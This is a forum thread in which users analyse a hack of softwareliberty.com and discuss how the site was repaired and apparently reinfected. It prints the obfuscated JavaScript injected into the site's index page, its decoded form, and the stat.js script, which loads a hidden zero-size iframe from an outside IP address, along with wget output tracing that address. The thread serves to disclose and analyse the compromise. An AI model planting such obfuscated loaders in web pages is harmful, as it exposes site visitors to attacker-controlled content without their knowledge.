Please make softwareliberty.com safe again!
As I pointed out here: http://www.nuxified.org/topic/handing_glm_work_over_another_organization#comment-12996
softwareliberty.com is not safe.
Now I'm no expert in web security, but I think if the .html code has been changed, the server has been compromised...
I made a little investigation to see what exactly happens there:
The html code of the page contains a javascript part which gets a script stat.js from http://84.244.138.55/stats/stat.js
The code in index.html:
<script language="javascript">
<!--
var s="",i,c=0,o="";
var str="60|115|99|114|105|112|116|32|116|121|112|101|61|34|116|101|120|116|47|106|97|118|97|115|99|114|105|112|116|34|32|115|114|99|61|34|104|116|116|112|58|47|47|56|52|46|50|52|52|46|49|51|56|46|53|53|47|115|116|97|116|115|47|115|116|97|116|46|106|115|34|62|60|47|115|99|114|105|112|116|62|";
l=str.length;
for(c=0;c<=str.length-1;c++){
while(str.charAt(c)!='|')s=s+str.charAt(c++);
o=o+String.fromCharCode(s);
s="";}
document.write(o);
-->
</script>Becomes this:
<script language="javascript">
document.write("<script type="text/javascript" src="http://84.244.138.55/stats/stat.js"></script>");
</script>Currently (may have been different before), stats.js looks like this:
document.open();
document.write('<iframe src="http://84.244.138.55/ts/in.cgi?sltest" WIDTH="0%" HEIGHT="0%" MARGINHEIGHT="0" MARGINWIDTH="0" SCROLLING="auto" frameborder="0" NORESIZE></iframe>');
document.close();Which seems to set up an invisible frame showing http://84.244.138.55/ts/in.cgi?sltest , which is currently a page looking like google.com but with some scripts inside it I haven't figured out yet. The page as well as stat.js may have changed anyway since google detected it as an attack site.
I attached all relevant files below, as well as a quick python script I used to decrypt the ascii (main code from http://love-python.blogspot.com/2008/04/convert-text-to-ascii-and-ascii-to-text.html). 
| Attachment | Size |
|---|---|
| ascii_decoder.py_.txt | 1.33 KB |
| index.html | 5.96 KB |
| stat.js_.txt | 215 bytes |
| index.html.1 | 4.94 KB |
| index.html.1.simplified.txt | 4.94 KB |
| secret.txt | 283 bytes |
| decoded.txt | 118 bytes |
It turns out http://84.244.138.55/ts/in.cgi?sltest actually redirects directly to google.com. ^^
So index.html.1 is just a normal google page with google scripts.
$wget "http://84.244.138.55/ts/in.cgi?sltest"--2009-04-22 17:02:13-- http://84.244.138.55/ts/in.cgi?sltest
Connecting to 84.244.138.55:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.google.com [following]
--2009-04-22 17:02:13-- http://www.google.com/
Resolving www.google.com... 74.125.39.99, 74.125.39.106, 74.125.39.105, ...
Connecting to www.google.com|74.125.39.99|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.google.de/ [following]
--2009-04-22 17:02:13-- http://www.google.de/
Resolving www.google.de... 74.125.39.104, 74.125.39.99, 74.125.39.106, ...
Reusing existing connection to www.google.com:80.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.html.4'
[ <=> ] 5,028 --.-K/s in 0.03s
2009-04-22 17:02:13 (157 KB/s) - `index.html.4' saved [5028]
A little diff test (it makes no difference whether it's another wget google.com or a wget 84.244.138.55/ts/in.cgi?sltest):
$diff index.html.7 index.html.81c1
< <html><head><meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>Google</title><script>window.google={kEI:"bjLvScaeMNCNsAaEzcmPBw",kEXPI:"17259,20257",kHL:"de"};
---
> <html><head><meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>Google</title><script>window.google={kEI:"cDLvSfrHEI-ysAbB4YyDBw",kEXPI:"17259,20257",kHL:"de"};
Here's what a really quick check revealed:
I'm fixing this right now. softwareliberty.com is still hosted in our shared host at DreamHost and it got hacked (well, nothing else can explain this; neither Olivier or I would do this), so I'm moving it to our dedicate server.
I forgot that KIaze reported this in another thread, sorry. I started working on this because of https://tracker.gnulinuxmatters.org/ticket/326
Thank you, reptiler and KIAaze.
Thanks for fixing it.
It's now 100% fixed since Google doesn't mark it as an attack site anymore.
I'll remember to use the GLM tracker (or the mailing-list) instead of the forum next time.
By the way: How dangerous is it to be redirected to Google from another server?
Can they somehow intercept authentication data when you have a Google account for example?
The bugtracker being a little bit slow, I'll post here again.
http://www.softwareliberty.com/ seems to have been hacked again.
I started directing people directly to the FSF site instead because of this.
)
Hopefully, this will never happen to http://linuxpreloaded.com/ because I don't know any equivalent for it. ( Bought myself a new GNU/Linux preloaded PC through it from http://www.i-ventive.com/
(If softwareliberty can't be made safe, it would be nice to remove/replace all links to it from the other GLM sites.)